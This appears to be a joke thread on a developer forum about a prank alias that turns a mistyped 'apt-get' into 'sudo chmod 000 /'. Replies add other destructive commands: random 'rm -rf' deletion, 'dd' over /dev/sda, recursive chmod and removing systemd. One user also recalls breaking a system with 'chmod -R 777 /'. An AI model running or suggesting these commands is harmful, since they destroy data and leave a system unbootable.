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dom3mo
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alias atp-get='sudo chmod 000 /;'

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  • 1
    000 to 777 will be more funny or just apt-get remove systemd muhaaaaa
  • 3
    So, is your victim writes sudo apt-get it will do sudo sudo chmod?

    Fail
  • 2
    How about:
    sudo rm -rf $(sudo find / | shuf -n$(echo "$RANDOM 500 / p" | dc))
    It deletes a random number of files/directories. Partial credits to devnull-as-a-service.
  • 1
    Add a -R to chmod 😆
  • 2
    dd if=/dev/null of=/dev/sda 😆
  • 2
    Was the 'atp' typo on purpose to punish typos?
  • 0
    I feel like its an evil command that will eventually happen.
  • 1
    gladly I use apt ;)
  • 1
    @Linux
    probably

    sudo sudo chmod 0000 install program

    so it would probably error anyways
  • 1
    @Nikan perfect formating of hard drive but seriously I use this way of formating its secure
  • 1
    @Haxk20 yeah or filling it out with zero or ones with dd :P
  • 1
    Not kidding, I did sudo chmod -R 777 / once. iirc I did it because I was frustrated that I didn't have permissions by default in certain places so I thought that'd be the easy fix. What makes it less embarrassing is that is was also my first Linux install. Slowly things stopped working and I was confused as to why so I tried to restart it and that was the end of it, no more booting.
  • 0
    I dont understand the concept to well apparently. I only use chmod 755 on making a perl or c++ program. I dont understand how 777 would crash a person's system.
  • 1
    @dom3mo Linux is very strict when it comes to file permissions on system files...chmod 777 / gives everyone access to every single file so Linux says Nah f u I am out :)
  • 0
    @SHA-256 Creepy it happens gradually.
  • 0
    …and here I'm sitting on fedora and not even have apt-get installed
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